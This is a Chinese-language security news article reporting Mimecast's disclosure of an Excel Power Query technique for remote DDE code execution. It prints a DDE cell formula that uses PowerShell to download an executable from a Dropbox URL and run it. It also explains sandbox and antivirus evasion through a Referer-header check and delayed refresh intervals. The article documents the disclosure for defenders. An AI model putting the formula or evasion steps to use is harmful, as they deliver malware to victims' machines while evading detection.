Mimecast研究人员发现微软Excel工具的漏洞,利用该漏洞可以远程执行嵌入的恶意payload。
研究人员发现使用Excel中的Power Query可以动态启动远程DDE(Dynamic Data Exchange,动态数据交换)攻击,并控制payload Power Query。
Power Query 是一个Excel插件,也是Power BI的一个组件,可以通过在Excel中通过简化数据发现、访问和合作的操作,从而增强了商业智能自助服务体验。
Mimecast研究人员发现Power Query可以用来发起复杂的、难以检测的攻击活动。攻击者使用Power Query可以将恶意内容嵌入到单独的数据源中,然后当该内容打开时将内容加载到表单中。攻击者可以用恶意代码来释放和执行可以入侵用户机器的恶意软件。
该特征可以让攻击者在传播payload之前对沙箱或受害者机器进行指纹操作。攻击者还有潜在的pre-payload和pre-exploitation,可以传播恶意payload到受害者机器同时使文件绕过沙箱和其他安全解决方案。
下面研究人员提供一个利用Power Query来启动DDE漏洞利用来释放和执行payload的潜在漏洞利用方式。
因为Power Query是微软Excel中一个强大的工具,因此该特征被滥用的潜在威胁也很大。如果该漏洞被利用,就可能会被用于发起融合多个潜在攻击面的复杂攻击,包括本地权限提升、DDE攻击和远程代码执行漏洞利用。
Power Query特征可以使攻击者很容易并动态地嵌入远程内容。这种攻击很难检测,而且攻击者有更多的机会来入侵受害者机器。利用Power Query中的潜在漏洞,攻击者可以将恶意内容嵌入到payload中,但恶意内容本身并不会下载。
为了证明Power Query如何被用于发起DDE漏洞利用,可以将保存payload的外部web页面加载到电子表格中,这样就可以写一个定制的、简单的HTTP服务器到保存payload的web页面。HTTP服务器监听80端口并将DDE内容作为来自电子表格的请求的响应消息。
=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,
Excel 2016表格使用Power Query来请求恶意web页面(http://127.0.0.1:80
)
远程内容被取回并加载到电子表格中。
Wireshark获取的数据可以看到攻击流。第一个标记的包含有DDE格式:payload.exe
保存的dropbox.com
的DNS请求,保存和传播payload的HTTPS会话。
下面分析文件格式,table/table1.xml
是用特征name: “localhost”
(默认)和type: “queryTable.”
创建的。
表和特定查询表特征的链接在.”rels”
流(_rels/table1.xml.rels
)中有描述,其中含有target
域,指向的是../queryTables/queryTable1.xml
。quetyTable1.xml
含有使用connectionId
域链接connection.xml
的数据。链接是用Select *
命令和dbPr对象实现的。
Web查询本身保存在文档xl\customXL\item1
中,是base64方式编码的。
Base64解码后,研究人员打开文档section1,其中含有查询本身。
为了让DDE运行,用户需要双击该单元格来加载DDE,然后再次点击来释放。这些操作会触发DDE并启动从web端接收的payload。
为了绕过点击才能运行的问题,研究人员进一步分析发现,老版本的office中的Get External Data>> From Web
实现有一点不同。在使用Office 2016时,会创建dbPr,用户会被要求激活payload。而在老版本的office(2010版本)中,在Connections.xml
下创建 的对象并不是dbPr,而是webPr。与dbPr不同,webPr更加简单一些,不需要任何交互就可以运行payload。
在web请求(查询)中添加header,payload就可以绕过拦截特定恶意内容的AV和沙箱。只有当请求中存在某个特定的HTTP Header时,web服务器才服务于恶意内容。如果AV发送了一个测试请求,服务器就会知道这来源于AV而不是电子表格。
只有当Referer
HTTP header设置为www.google.com.
时,DEE才服务于恶意内容。
通过使用高级模式中的Power Query可以设置特定的web header。Power Query执行请求的Referer header
的web请求。
如果其他应用想要模拟Power Query行为,而且没有使用正确的Referer header
来请求web页面,只有当使用Excel应用打开原始文档时payload才工作。
因为沙箱会发送定制header作为请求的一部分,因此就需要一种新的绕过检测的方式。Power Query中使用了auto refresh
和refresh
间隔。
避免恶意内容可以通过强制使文件在打开时移除外部数据源中的数据并更新数据,这样可以避免将该文件标记为恶意软件。这些特征都可以保证文件中的payload在文件打开时更新。通过设置文件每分钟更新并在第10次查询时服务payload。这就是说在10分钟内执行文件的沙箱无法获取payload。
在该例子中,大多数静态分析AV无法检测该文件,而沙箱和其他安全解决方案绕过下载一次或两次内容也会错过payload。
MSRC收到了Mimecast安全研究人员给出的PoC和相关信息,但微软决定不修复该行为,但是可以使用组策略来拦截外部数据连接。微软在advisory (4053440)中提供了如何指导用户确保应用在处理DDE域时是安全的方法。
https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/